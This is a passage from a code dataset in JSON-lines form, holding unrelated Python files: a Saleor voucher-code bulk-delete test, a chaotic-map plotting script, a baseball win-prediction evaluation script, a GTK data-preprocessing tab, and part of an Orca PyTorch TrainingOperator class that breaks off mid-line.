S101\n","repo_name":"jmlopez-rod/m","sub_path":"packages/python/m/testing/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":4159,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"7039026914","text":"from unittest import mock\n\nimport graphene\n\nfrom ....tests.utils import get_graphql_content\n\nVOUCHER_CODE_BULK_DELETE_MUTATION = \"\"\"\n mutation voucherCodeBulkDelete($ids: [ID!]!) {\n voucherCodeBulkDelete(ids: $ids) {\n count\n errors {\n path\n message\n }\n }\n }\n\"\"\"\n\n\ndef test_delete_voucher_codes(staff_api_client, voucher, permission_manage_discounts):\n # given\n voucher.codes.create(code=\"voucher-1\")\n voucher.codes.create(code=\"voucher-2\")\n vouchers = voucher.codes.all()\n assert len(vouchers) == 3\n\n variables = {\n \"ids\": [\n graphene.Node.to_global_id(\"VoucherCode\", code.id)\n for code in voucher.codes.all()\n ]\n }\n\n # when\n response = staff_api_client.post_graphql(\n VOUCHER_CODE_BULK_DELETE_MUTATION,\n variables,\n permissions=[permission_manage_discounts],\n )\n content = get_graphql_content(response)\n voucher.refresh_from_db()\n\n # then\n assert content[\"data\"][\"voucherCodeBulkDelete\"][\"count\"] == 3\n assert voucher.codes.count() == 0\n\n\ndef test_delete_voucher_codes_as_app(\n app_api_client, voucher, permission_manage_discounts\n):\n # given\n voucher.codes.create(code=\"voucher-1\")\n voucher.codes.create(code=\"voucher-2\")\n vouchers = voucher.codes.all()\n assert len(vouchers) == 3\n\n variables = {\n \"ids\": [\n graphene.Node.to_global_id(\"VoucherCode\", code.id)\n for code in voucher.codes.all()\n ]\n }\n\n # when\n response = app_api_client.post_graphql(\n VOUCHER_CODE_BULK_DELETE_MUTATION,\n variables,\n permissions=[permission_manage_discounts],\n )\n content = get_graphql_content(response)\n voucher.refresh_from_db()\n\n # then\n assert content[\"data\"][\"voucherCodeBulkDelete\"][\"count\"] == 3\n assert voucher.codes.count() == 0\n\n\n@mock.patch(\"saleor.plugins.webhook.plugin.get_webhooks_for_event\")\n@mock.patch(\"saleor.plugins.webhook.plugin.trigger_webhooks_async\")\ndef test_delete_voucher_codes_trigger_voucher_update_webhook(\n mocked_webhook_trigger,\n mocked_get_webhooks_for_event,\n any_webhook,\n staff_api_client,\n voucher,\n permission_manage_discounts,\n settings,\n):\n # given\n voucher.codes.create(code=\"voucher-1\")\n voucher.codes.create(code=\"voucher-2\")\n vouchers = voucher.codes.all()\n assert len(vouchers) == 3\n\n mocked_get_webhooks_for_event.return_value = [any_webhook]\n settings.PLUGINS = [\"saleor.plugins.webhook.plugin.WebhookPlugin\"]\n\n variables = {\n \"ids\": [\n graphene.Node.to_global_id(\"VoucherCode\", code.id)\n for code in voucher.codes.all()\n ]\n }\n\n # when\n response = staff_api_client.post_graphql(\n VOUCHER_CODE_BULK_DELETE_MUTATION,\n variables,\n permissions=[permission_manage_discounts],\n )\n content = get_graphql_content(response)\n\n # then\n assert content[\"data\"][\"voucherCodeBulkDelete\"][\"count\"] == 3\n assert mocked_webhook_trigger.call_count == 1\n\n\ndef test_delete_voucher_codes_return_error_when_invalid_id(\n staff_api_client, permission_manage_discounts\n):\n # given\n variables = {\"ids\": [graphene.Node.to_global_id(\"Product\", 123)]}\n\n # when\n response = staff_api_client.post_graphql(\n VOUCHER_CODE_BULK_DELETE_MUTATION,\n variables,\n permissions=[permission_manage_discounts],\n )\n content = get_graphql_content(response)\n\n # then\n errors = content[\"data\"][\"voucherCodeBulkDelete\"][\"errors\"]\n assert errors\n assert errors[0][\"path\"] == \"ids\"\n assert errors[0][\"message\"] == \"Invalid VoucherCode ID.\"\n assert content[\"data\"][\"voucherCodeBulkDelete\"][\"count\"] == 0\n","repo_name":"saleor/saleor","sub_path":"saleor/graphql/discount/tests/mutations/test_voucher_code_bulk_delete.py","file_name":"test_voucher_code_bulk_delete.py","file_ext":"py","file_size_in_byte":3758,"program_lang":"python","lang":"en","doc_type":"code","stars":19331,"dataset":"github-code","pt":"67"} +{"seq_id":"6833917098","text":"from final_exam_2 import *\nimport matplotlib.pyplot as plt\nE = 1\n\n\ndef founction(x):\n # x1 = EOFError\n # if -1 <= x < -0.5:\n # x1 = E * (256 * x ** 3 + 576 * x ** 2 + 420 * x + 99)\n # elif -0.5 <= x < 0:\n # x1 = E * (256 * x ** 3 + 192 * x ** 2 + 36 * x + 1)\n # elif 0 <= x < 0.5:\n # x1 = E * (256 * x ** 3 - 192 * x ** 2 + 36 * x - 1)\n # elif 0.5 <= x <= 1:\n # x1 = E * (256 * x ** 3 - 576 * x ** 2 + 420 * x - 99)\n x1 = 4*x**3 - 3*x**2\n return x1\n\n\nif __name__ == '__main__':\n x0 = 0.123456789\n\n nest = []\n iterations = 1000000\n for i in range(iterations):\n Fun = founction(x0)\n # Fun = logistic2_map(4,x0,1)[-1 ]\n B2x = b2_x(Fun)\n nest.append(B2x)\n x0 = B2x\n # print(i, '\\t', Fun,'\\t',B2x)\n print(i)\n title = 'Founction Nested'\n para = 'system parameter E=%s' % E\n draw(title, nest, 'r', iterations, 'Probability density after nested_iterations', para)\n plt.legend(loc='upper center')\n fig = plt.gcf()\n plt.show()","repo_name":"GongkunJiang/Study","sub_path":"zzq.py","file_name":"zzq.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17219600910","text":"import argparse\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom torch.utils.tensorboard import SummaryWriter\nfrom sklearn.metrics import accuracy_score\nfrom time import time\nfrom tqdm import tqdm\nfrom ActionSpace import ActionSpace\nfrom Env import Env\nfrom utils import sequential_dataset_batch, to_input_batch, set_seeds, \\\n get_test_data, create_nnet, unzip_batch, zip_batch\n\n\ndef load_test_args(parser):\n parser.add_argument('--test_size', metavar='N', type=int, default=100,\n help='the number of tests')\n parser.add_argument('--test_batch_size', metavar='N', type=int,\n default=4096,\n help='the number of episodes to simulate for an epoch')\n parser.add_argument('--seed', metavar='N', type=int, default=2021,\n help='the random seed')\n parser.add_argument('--n_actions', metavar='N', type=int,\n default=len(ActionSpace()),\n help='the number of actions')\n parser.add_argument('--n_gpus', metavar='N', type=int,\n default=torch.cuda.device_count(),\n help='the number of GPUs to use')\n parser.add_argument('--n_tests', metavar='N', type=int,\n default=100, help='the number of policy tests')\n parser.add_argument('--rollout_depth', metavar='N', type=int,\n default=100, help='the depth of a rollout')\n parser.add_argument('--load', metavar='S', type=str,\n default='pretrained.pt', help='a model to load')\n return parser\n\n\ndef judge_winning_team(away_scores, home_scores):\n '''\n Return:\n list([who_won, ...])\n who_won:\n -1: away won, 0: draw, 1: home won\n '''\n return list(np.where(away_scores == home_scores, -1,\n np.where(away_scores > home_scores, -1, 1)))\n\n\ndef test(data, nnet, args, tb, epoch, device=torch.device('cuda:0')):\n y_true, y_pred = [], []\n\n for batch in sequential_dataset_batch(data, args.test_batch_size):\n input = to_input_batch(batch, device)\n\n with torch.no_grad():\n _, value = nnet(input)\n\n y_true += judge_winning_team(batch['AWAY_END_SCORE_CT'],\n batch['HOME_END_SCORE_CT'])\n\n away_pred_scores = value[:, 0].cpu().numpy() + batch['AWAY_SCORE_CT']\n home_pred_scores = value[:, 1].cpu().numpy() + batch['HOME_SCORE_CT']\n y_pred += judge_winning_team(away_pred_scores, home_pred_scores)\n\n accuracy = accuracy_score(y_true, y_pred)\n print(f'accuracy: {accuracy:.3f}')\n tb.add_scalar('accuracy', accuracy, epoch)\n return accuracy\n\n\ndef make_a_step(batch, policies, env):\n states = []\n for state, policy in zip(batch, policies):\n if env.check_done(state):\n states.append(state)\n continue\n env.reset(state)\n action = np.random.choice(len(env.action_space), p=policy)\n state, _, _, _ = env.step(action)\n states.append(state)\n return states\n\n\ndef rollout(batch, env, nnet, device, rollout_depth):\n for _ in range(rollout_depth):\n input_batch = to_input_batch(batch, device)\n\n with torch.no_grad():\n policies, _ = nnet(input_batch)\n policies = F.softmax(policies, dim=1)\n\n batch = unzip_batch(batch)\n batch = make_a_step(batch, policies.detach().cpu().numpy(), env)\n batch = zip_batch(batch)\n\n return batch['AWAY_SCORE_CT'], batch['HOME_SCORE_CT']\n\n\ndef policy_test(data, nnet, args, tb, epoch, device=torch.device('cuda:0')):\n y_true, y_pred = [], []\n\n action_space = ActionSpace()\n env = Env(action_space)\n\n for _ in tqdm(range(args.n_tests)):\n for batch in sequential_dataset_batch(data, args.test_batch_size):\n away_pred_scores, home_pred_scores = \\\n rollout(batch, env, nnet, device, args.rollout_depth)\n\n y_true += judge_winning_team(batch['AWAY_END_SCORE_CT'],\n batch['HOME_END_SCORE_CT'])\n y_pred += judge_winning_team(away_pred_scores, home_pred_scores)\n\n accuracy = accuracy_score(y_true, y_pred)\n print(f'accuracy: {accuracy:.3f}')\n tb.add_scalar('accuracy', accuracy, epoch)\n return accuracy\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Test argument parser')\n parser = load_test_args(parser)\n args = parser.parse_args()\n\n set_seeds(args.seed)\n\n test_data = get_test_data()\n\n nnet = create_nnet(test_data, args)\n\n nnet.module.load_state_dict(torch.load(f'models/{args.load}'))\n\n tb = SummaryWriter()\n\n start_time = time()\n policy_test(test_data, nnet, args, tb, epoch=0)\n print(f'test time: {time() - start_time:.3f} sec.')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"yonsweng/baseball-win-prediction","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4862,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"3829805727","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\n\nimport gi\n\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk\nfrom gi.repository import GObject\n\nfrom src.vistas.tabs.BaseTab import BaseTab\nfrom src.vistas.dialogs.ErrorDialog import ErrorDialog\nfrom src.negocios.PreprocessManager import PreprocessManager\nfrom src.vistas.dialogs.DomainDialog import DomainDialog\nfrom src.vistas.dialogs.ModifyFileDialog import ModifyFileDialog\n\nclass PreprocessTab(BaseTab):\n\n def __init__(self, parent):\n BaseTab.__init__(self, parent)\n\n self.preprocess_manager = PreprocessManager(self)\n\n self.create_open_file_frame()\n self.create_class_attribute_frame()\n self.create_selected_attribute_frame()\n self.create_selected_attribute_numeric_frame()\n self.create_file_info_frame()\n self.create_file_attributes_frame()\n\n self.attach_all_to_layout()\n self.pack_start(self.page_layout, True, True, 0)\n\n self.set_signals()\n self.set_connections()\n\n def set_signals(self):\n GObject.signal_new('file-path-ready', self, GObject.SIGNAL_RUN_LAST, GObject.TYPE_PYOBJECT,\n (GObject.TYPE_PYOBJECT,))\n GObject.signal_new('after-file-loaded', self, GObject.SIGNAL_RUN_LAST, GObject.TYPE_PYOBJECT,\n ())\n GObject.signal_new('reg-exp-ready', self, GObject.SIGNAL_RUN_LAST, GObject.TYPE_PYOBJECT,\n (GObject.TYPE_PYOBJECT, GObject.TYPE_PYOBJECT, Gtk.TreeIter))\n GObject.signal_new('refresh-all', self, GObject.SIGNAL_RUN_LAST, GObject.TYPE_PYOBJECT,\n ())\n GObject.signal_new('registers-edited', self, GObject.SIGNAL_RUN_LAST, GObject.TYPE_PYOBJECT,\n ())\n GObject.signal_new('update-transform-menu', self, GObject.SIGNAL_RUN_LAST, GObject.TYPE_PYOBJECT,\n (GObject.TYPE_PYOBJECT, GObject.TYPE_PYOBJECT,))\n GObject.signal_new('class-changed', self, GObject.SIGNAL_RUN_LAST, GObject.TYPE_PYOBJECT,\n ())\n\n def set_connections(self):\n self.buttons['file_select'].connect('clicked', self.on_open_file_menu)\n self.buttons['file_open'].connect('clicked', self.on_open_file_clicked)\n\n self.connect(\"after-file-loaded\", self.preprocess_manager.clean_attributes_widgets,\n self.tree_views, self.combo_boxes, self.labels)\n self.connect(\"after-file-loaded\", self.parent.enable_save_edit_file)\n self.connect(\"after-file-loaded\", self.parent.load_transformation_menu)\n self.connect(\"file-path-ready\", self.preprocess_manager.set_file, self.parent.menu_options['edit_undo'])\n self.connect(\"after-file-loaded\", self.preprocess_manager.load_combo_box_attributes,\n self.combo_boxes['class_attribute'])\n self.connect(\"after-file-loaded\", self.preprocess_manager.load_attributes_tree_view,\n self.tree_views['attributes_list'])\n self.connect(\"after-file-loaded\", self.preprocess_manager.set_file_info, self.labels)\n self.connect(\"after-file-loaded\", self.toggle_attributes_buttons, False)\n\n self.tree_views['attributes_list'].connect(\"cursor-changed\",\n self.preprocess_manager.set_data_in_table,\n self.tree_views['selected_attribute_list'])\n\n self.tree_views['attributes_list'].connect(\"cursor-changed\",\n self.preprocess_manager.set_attribute_info,\n self.labels)\n\n self.tree_views['attributes_list'].connect(\"cursor-changed\", self.toggle_attributes_buttons, True)\n\n self.buttons['attributes_remove'].connect(\"clicked\", self.on_remove_attribute_clicked)\n self.buttons['attributes_regex'].connect(\"clicked\", self.on_regexp_clicked)\n\n self.connect('reg-exp-ready', self.preprocess_manager.set_attribute_domain,\n self.tree_views['attributes_list'])\n\n self.connect(\"refresh-all\", self.preprocess_manager.clean_attributes_widgets,\n self.tree_views, self.combo_boxes, self.labels)\n self.connect(\"refresh-all\", self.preprocess_manager.load_combo_box_attributes,\n self.combo_boxes['class_attribute'])\n self.connect(\"refresh-all\", self.preprocess_manager.load_attributes_tree_view,\n self.tree_views['attributes_list'])\n self.connect(\"refresh-all\", self.preprocess_manager.set_file_info, self.labels)\n self.connect(\"refresh-all\", self.refresh_parent)\n self.connect(\"refresh-all\", self.parent.load_transformation_menu)\n\n # Registers edited sets undo active\n self.connect('registers-edited', self.parent.on_registers_edited)\n\n # Transform menu update\n self.connect('update-transform-menu', self.preprocess_manager.update_transform_menu)\n self.combo_boxes['class_attribute'].connect(\"changed\", self.class_changed)\n self.combo_boxes['class_attribute'].connect(\"changed\", self.preprocess_manager.csv.class_index_changed)\n\n def attach_all_to_layout(self):\n self.page_layout.attach(self.boxes['open_file'], 0, 0, 2, 1)\n self.page_layout.attach(self.frames['file_info'], 0, 1, 1, 1)\n self.page_layout.attach(self.frames['class_attribute'], 1, 1, 1, 1)\n self.page_layout.attach(self.frames['attributes_list'], 0, 2, 1, 4)\n self.page_layout.attach(self.frames['selected_attribute'], 1, 2, 1, 3)\n self.page_layout.attach(self.frames['selected_attribute_statistics'], 1, 5, 1, 1)\n\n def create_selected_attribute_frame(self):\n frame = self.create_frame('selected_attribute', 'Selected attribute')\n box = self.create_box(frame, 'selected_attribute')\n self.create_grid(box, 'selected_attribute')\n\n attribute_statistics_labels = ['Name', 'Missing', 'Distinct', 'Type', 'Unique']\n attribute_data_labels = ['attribute_name', 'attribute_missing', 'attribute_distinct',\n 'attribute_type', 'attribute_unique']\n extras = ['attribute_name']\n\n self.insert_static_label_data_label('selected_attribute', attribute_statistics_labels,\n attribute_data_labels, extras, 3, 2)\n\n self.insert_scrollable_tree_view(box, 'selected_attribute_list')\n\n def create_selected_attribute_numeric_frame(self):\n frame = self.create_frame('selected_attribute_statistics', 'Numeric statistics')\n self.create_grid(frame, 'selected_attribute_statistics')\n\n attribute_statistics_labels = ['Mean', 'Median', 'Mode', 'Min', 'Max', 'Stand. Dev']\n attribute_data_labels = ['attribute_mean', 'attribute_median',\n 'attribute_mode', 'attribute_min', 'attribute_max',\n 'attribute_stand_dev']\n\n self.insert_static_label_data_label('selected_attribute_statistics',\n attribute_statistics_labels,\n attribute_data_labels)\n\n def create_open_file_frame(self):\n open_file_box = self.create_box(None, 'open_file', False)\n open_file_box.set_spacing(5)\n\n open_file_box.pack_start(Gtk.Label(\"File: \"), False, False, 0)\n\n self.text_inputs['file_path'] = Gtk.Entry()\n self.buttons['file_select'] = Gtk.Button(\"Select\")\n self.buttons['file_open'] = Gtk.Button(\"Open\")\n\n self.text_inputs['file_path'].set_hexpand(True)\n\n open_file_box.pack_start(self.text_inputs['file_path'], True, True, 0)\n open_file_box.pack_start(self.buttons['file_select'], False, False, 0)\n open_file_box.pack_start(self.buttons['file_open'], False, False, 0)\n\n def create_file_info_frame(self):\n frame = self.create_frame('file_info', 'Current database')\n box = self.create_box(frame, 'file_info')\n self.create_grid(box, 'file_info')\n\n file_info_static_labels = ['Name', 'Weights', 'Instances', 'Attributes']\n file_info_data_labels = ['file_info_name', 'file_info_weights',\n 'file_info_instances', 'file_info_attributes']\n extras = ['file_info_name']\n\n self.insert_static_label_data_label('file_info', file_info_static_labels,\n file_info_data_labels, extras, 3, 2)\n\n def create_file_attributes_frame(self):\n attributes_list_frame = self.create_frame('attributes_list', 'Attributes')\n attributes_list_box = self.create_box(attributes_list_frame, 'attributes_list')\n\n attributes_buttons_box = self.create_box(None, 'attributes_buttons', False)\n attributes_buttons_box.set_spacing(10)\n attributes_buttons_box.set_homogeneous(True)\n\n self.insert_buttons(attributes_buttons_box,\n ['attributes_remove', 'attributes_regex'],\n ['Remove', 'Domain'])\n\n attributes_list_box.pack_start(self.boxes['attributes_buttons'], False, False, 0)\n\n self.insert_scrollable_tree_view(attributes_list_box, 'attributes_list')\n\n def create_class_attribute_frame(self):\n frame = self.create_frame('class_attribute', 'Class attribute')\n\n self.combo_boxes['class_attribute'] = Gtk.ComboBoxText()\n self.combo_boxes['class_attribute'].set_border_width(5)\n\n frame.add(self.combo_boxes['class_attribute'])\n\n def on_open_file_clicked(self, widget):\n string = self.text_inputs['file_path'].get_text()\n\n if string and string.strip() and string.endswith('.csv'):\n if os.path.isfile(string):\n self.emit('file-path-ready', self.text_inputs['file_path'].get_text())\n self.emit('after-file-loaded')\n else:\n ErrorDialog(\"Error\", \"File not found\", None)\n\n def on_open_file_menu(self, widget):\n dialog = Gtk.FileChooserDialog(\"Select a file: \", None, Gtk.FileChooserAction.OPEN,\n (Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL,\n Gtk.STOCK_OPEN, Gtk.ResponseType.OK))\n\n filter = Gtk.FileFilter()\n filter.add_pattern(\"*.csv\")\n dialog.set_filter(filter)\n response = dialog.run()\n\n if response == Gtk.ResponseType.OK:\n self.text_inputs['file_path'].set_text(dialog.get_filename())\n if type(widget).__name__ == 'MenuItem':\n self.on_open_file_clicked(widget)\n pass\n dialog.destroy()\n\n def toggle_attributes_buttons(self, widget, sensitive):\n self.buttons['attributes_remove'].set_sensitive(sensitive)\n self.buttons['attributes_regex'].set_sensitive(sensitive)\n\n def on_remove_attribute_clicked(self, widget):\n model, row = self.tree_views['attributes_list'].get_selection().get_selected()\n if not row:\n return\n self.preprocess_manager.remove_attribute(model[row][1])\n self.emit('refresh-all')\n\n def on_regexp_clicked(self, widget):\n model, row = self.tree_views['attributes_list'].get_selection().get_selected()\n if not row:\n return\n attribute_name = model[row][1]\n\n dialog = DomainDialog(self, attribute_name)\n\n response = dialog.run()\n\n if response == Gtk.ResponseType.OK and attribute_name:\n self.emit('reg-exp-ready', dialog.get_regexp(), attribute_name, row)\n\n dialog.destroy()\n\n def on_edit_registers(self, widget):\n dialog = ModifyFileDialog(self)\n\n response = dialog.run()\n\n if response == Gtk.ResponseType.OK:\n dialog.commit()\n self.preprocess_manager.set_file_info(None, self.labels)\n\n dialog.destroy()\n\n def on_save_file_menu(self, widget):\n dialog = Gtk.FileChooserDialog(\"Save file as: \", None,\n Gtk.FileChooserAction.SAVE,\n (Gtk.STOCK_CANCEL,\n Gtk.ResponseType.CANCEL,\n Gtk.STOCK_SAVE, Gtk.ResponseType.OK))\n\n response = dialog.run()\n\n if response == Gtk.ResponseType.OK:\n self.preprocess_manager.save_file(dialog.get_filename())\n\n dialog.destroy()\n\n def refresh_parent(self, widget):\n self.parent.emit('update-pages')\n\n def class_changed(self, widget):\n self.emit(\"class-changed\")\n","repo_name":"alanmunguiacerda/data-mining","sub_path":"src/vistas/tabs/PreprocessTab.py","file_name":"PreprocessTab.py","file_ext":"py","file_size_in_byte":12590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35041674120","text":"import collections\nimport torch\nimport numpy as np\n\nfrom zoo.orca.learn.metrics import Metric\nfrom zoo.orca.learn.pytorch.utils import (TimerCollection, AverageMeterCollection,\n NUM_SAMPLES)\nfrom zoo.orca.learn.pytorch.constants import (SCHEDULER_STEP_EPOCH, NUM_STEPS,\n SCHEDULER_STEP_BATCH, SCHEDULER_STEP)\nfrom torch.nn.parallel import DistributedDataParallel as DDP\n\ntqdm = None\ntry:\n from tqdm import tqdm\nexcept ImportError:\n pass\n\n\ndef _is_multiple(component):\n \"\"\"Checks if a component (optimizer, model, etc) is not singular.\"\"\"\n return isinstance(component, collections.Iterable) and len(component) > 1\n\n\nclass TrainingOperator:\n \"\"\"Abstract class for custom training or validation loops.\n\n The scheduler will only be called at a batch or epoch frequency, depending\n on the user parameter. Be sure to set ``scheduler_step_freq`` in\n ``TorchTrainer`` to either \"batch\" or \"epoch\" to increment the scheduler\n correctly during training. If using a learning rate scheduler\n that depends on validation loss, you can use ``trainer.update_scheduler``.\n\n For both training and validation, there are two granularities that\n you can provide customization: per epoch or per batch.\n You do not need to override both.\n\n .. image:: raysgd-custom.jpg\n :scale: 80%\n :align: center\n\n Raises:\n ValueError if multiple models/optimizers/schedulers are provided.\n You are expected to subclass this class if you wish\n to train over multiple models/optimizers/schedulers.\n \"\"\"\n\n def __init__(self,\n config,\n models,\n optimizers,\n world_rank,\n criterion=None,\n schedulers=None,\n use_fp16=False,\n use_tqdm=False):\n # You are not expected to override this method.\n self._models = models # List of models\n assert isinstance(\n models,\n collections.Iterable), (\"Components need to be iterable. Got: {}\".format(\n type(models)))\n self._optimizers = optimizers # List of optimizers\n assert isinstance(\n optimizers,\n collections.Iterable), (\"Components need to be iterable. Got: {}\".format(\n type(optimizers)))\n self._world_rank = world_rank\n self._criterion = criterion\n self._schedulers = schedulers\n if schedulers:\n assert isinstance(\n schedulers,\n collections.Iterable), (\"Components need to be iterable. Got: {}\".format(\n type(schedulers)))\n self._config = config\n self._use_fp16 = use_fp16\n if tqdm is None and use_tqdm:\n raise ValueError(\"tqdm must be installed to use tqdm in training.\")\n self._use_tqdm = use_tqdm\n self.global_step = 0\n\n if type(self) is TrainingOperator:\n for component in (models, schedulers, optimizers):\n if _is_multiple(component):\n raise ValueError(\n \"Need to provide a custom operator subclassing \"\n \"TrainingOperator if using multi-scheduler, \"\n \"multi-model or multi-optimizer training/validation.\")\n self.timers = TimerCollection()\n self.setup(config)\n\n def _set_timers(self, timers):\n \"\"\"Passes in the timers from the Runner.\"\"\"\n self.timers = timers\n\n def setup(self, config):\n \"\"\"Override this method to implement custom operator setup.\n\n Args:\n config (dict): Custom configuration value to be passed to\n all creator and operator constructors. Same as ``self.config``.\n \"\"\"\n pass\n\n def train_epoch(self, iterator, info):\n \"\"\"Runs one standard training pass over the training dataloader.\n\n By default, this method will iterate over the given iterator and\n call ``self.train_batch`` over each batch. If ``scheduler_step_freq``\n is set, this default method will also step the scheduler accordingly.\n\n You do not need to call ``train_batch`` in this method if you plan\n to implement a custom optimization/training routine here.\n\n You may find ``ray.util.sgd.utils.AverageMeterCollection`` useful\n when overriding this method. See example below:\n\n .. code-block:: python\n\n def train_epoch(self, ...):\n meter_collection = AverageMeterCollection()\n self.model.train()\n for batch in iterator:\n # do some processing\n metrics = {\"metric_1\": 1, \"metric_2\": 3} # dict of metrics\n\n # This keeps track of all metrics across multiple batches\n meter_collection.update(metrics, n=len(batch))\n\n # Returns stats of the meters.\n stats = meter_collection.summary()\n return stats\n\n\n Args:\n iterator (iter): Iterator over the training data for the entire\n epoch. This iterator is expected to be entirely consumed.\n info (dict): Dictionary for information to be used for custom\n training operations.\n\n Returns:\n A dict of metrics from training.\n \"\"\"\n if self.use_tqdm and self.world_rank == 0:\n desc = \"\"\n if info is not None and \"epoch_idx\" in info:\n if \"num_epochs\" in info:\n desc = \"{}/{}e\".format(info[\"epoch_idx\"] + 1,\n info[\"num_epochs\"])\n else:\n desc = \"{}e\".format(info[\"epoch_idx\"] + 1)\n _progress_bar = tqdm(\n total=len(iterator),\n desc=desc,\n unit=\"batch\",\n leave=False)\n else:\n _progress_bar = None\n\n metric_meters = AverageMeterCollection()\n\n self.model.train()\n if isinstance(self.model, DDP):\n with self.model.join():\n self._train_loop(iterator, info, _progress_bar, metric_meters)\n else:\n self._train_loop(iterator, info, _progress_bar, metric_meters)\n\n if self.scheduler and info.get(SCHEDULER_STEP) == SCHEDULER_STEP_EPOCH:\n self.scheduler.step()\n\n return metric_meters.summary()\n\n def _train_loop(self, iterator, info, _progress_bar, metric_meters):\n for batch_idx, batch in enumerate(iterator):\n batch_info = {\n \"batch_idx\": batch_idx,\n \"global_step\": self.global_step\n }\n batch_info.update(info)\n metrics = self.train_batch(batch, batch_info=batch_info)\n\n if self.use_tqdm and self.world_rank == 0:\n _progress_bar.n = batch_idx + 1\n postfix = {}\n if \"train_loss\" in metrics:\n postfix.update(loss=metrics[\"train_loss\"])\n _progress_bar.set_postfix(postfix)\n\n if self.scheduler and batch_info.get(\n SCHEDULER_STEP) == SCHEDULER_STEP_BATCH:\n self.scheduler.step()\n\n metric_meters.update(metrics, n=metrics.pop(NUM_SAMPLES, 1))\n self.global_step += 1\n\n def train_batch(self, batch, batch_info):\n \"\"\"Computes loss and updates the model over one batch.\n\n This method is responsible for computing the loss and gradient and\n updating the model.\n\n By default, this method implementation assumes that batches\n are in (\\*features, labels) format. So we also support multiple inputs\n model. If using amp/fp16 training, it will also scale the loss\n automatically.\n\n You can provide custom loss metrics and training operations if you\n override this method. If overriding this method, you can access model,\n optimizer, criterion via ``self.model``, ``self.optimizer``,\n and ``self.criterion``.\n\n You do not need to override this method if you plan to\n override ``train_epoch``.\n\n Args:\n batch: One item of the validation iterator.\n batch_info (dict): Information dict passed in from ``train_epoch``.\n\n Returns:\n A dictionary of metrics.\n By default, this dictionary contains \"loss\" and \"num_samples\".\n \"num_samples\" corresponds to number of datapoints in the batch.\n However, you can provide any number of other values.\n Consider returning \"num_samples\" in the metrics because\n by default, ``train_epoch`` uses \"num_samples\" to\n calculate averages.\n\n \"\"\"\n # unpack features into list to support multiple inputs model\n *features, target = batch\n # If features is already a tuple, we don't give it an extra list dimension.\n already_list = (isinstance(features[0], tuple) or isinstance(features[0], list))\n if len(features) == 1 and already_list:\n features = features[0]\n\n # Compute output.\n with self.timers.record(\"fwd\"):\n output = self.model(*features)\n if isinstance(output, tuple) or isinstance(output, list):\n # Then target is also assumed to be a tuple or list.\n loss = self.criterion(*output, *target)\n else:\n loss = self.criterion(output, target)\n\n # Compute gradients in a backward pass.\n with self.timers.record(\"grad\"):\n self.optimizer.zero_grad()\n if self.use_fp16:\n with amp.scale_loss(loss, self.optimizer) as scaled_loss:\n scaled_loss.backward()\n else:\n loss.backward()\n\n # Call step of optimizer to update model params.\n with self.timers.record(\"apply\"):\n self.optimizer.step()\n\n return {\"train_loss\": loss.item(), NUM_SAMPLES: features[0].size(0)}\n\n def validate(self, val_iterator, info, metrics):\n \"\"\"Runs one standard validation pass over the val_iterator.\n\n This will call ``model.eval()`` and ``torch.no_grad`` when iterating\n over the validation dataloader.\n\n If overriding this method, you can access model, criterion via\n ``self.model`` and ``self.criterion``. You also do not need to call\n ``validate_batch`` if overriding this method.\n\n Args:\n val_iterator (iter): Iterable constructed from the\n validation dataloader.\n info: (dict): Dictionary for information to be used for custom\n validation operations.\n\n Returns:\n A dict of metrics from the evaluation.\n By default, returns \"val_accuracy\" and \"val_loss\"\n which is computed by aggregating \"loss\" and \"correct\" values\n from ``validate_batch`` and dividing it by the sum of\n ``num_samples`` from all calls to ``self.validate_batch``.\n \"\"\"\n # switch to evaluate mode\n self.model.eval()\n metrics = Metric.convert_metrics_dict(metrics, backend=\"pytorch\")\n losses = []\n total_samples = 0\n with torch.no_grad():\n for batch_idx, batch in enumerate(val_iterator):\n batch_info = {\"batch_idx\": batch_idx}\n batch_info.update(info)\n output, target, loss = self.forward_batch(batch, batch_info)\n num_samples = target.size(0)\n total_samples += num_samples\n losses.append(loss.item() * num_samples)\n for metric in metrics.values():\n metric(output, target)\n\n result = {name: metric.compute() for name, metric in metrics.items()}\n\n result[\"val_loss\"] = sum(losses) / total_samples\n\n result[\"num_samples\"] = total_samples\n\n return result\n\n def predict(self, pred_iterator):\n # switch to evaluate mode\n self.model.eval()\n result = []\n with torch.no_grad():\n for batch in pred_iterator:\n result.append(self.predict_batch(batch))\n\n return np.concatenate(result, axis=0)\n\n def predict_batch(self, batch):\n\n if isinstance(batch, torch.Tensor):\n batch = [batch]\n\n # compute output\n with self.timers.record(\"pred_fwd\"):\n output = self.model(*batch)\n\n if len(output.size()) > 1:\n # In case there is extra trailing dimensions.\n for i in reversed(range(1, len(output.size()))):\n output = torch.squeeze(output, i)\n\n # todo support multi-output model\n np_output = output.detach().numpy()\n return np_output\n\n def forward_batch(self, batch, batch_info):\n \"\"\"Calculates the loss and accuracy over a given batch.\n\n You can override this method to provide arbitrary metrics.\n\n Same as ``train_batch``, this method implementation assumes that\n batches are in (\\*features, labels) format by default. So we also\n support multiple inputs model.\n\n Args:\n batch: One item of the validation iterator.\n batch_info (dict): Contains information per batch from\n ``validate()``.\n\n Returns:\n A dict of metrics.\n By default, returns \"val_loss\", \"val_accuracy\", and\n \"num_samples\". When overriding, consider returning\n \"num_samples\" in the metrics because\n by default, ``validate`` uses \"num_samples\" to\n calculate averages.\n \"\"\"\n # unpack features into list to support multiple inputs model\n *features, target = batch\n # If features is already a tuple, we don't give it an extra list dimension.\n already_list = (isinstance(features[0], tuple) or isinstance(features[0], list))\n if len(features) == 1 and already_list:\n features = features[0]\n\n # compute output\n with self.timers.record(\"eval_fwd\"):\n output = 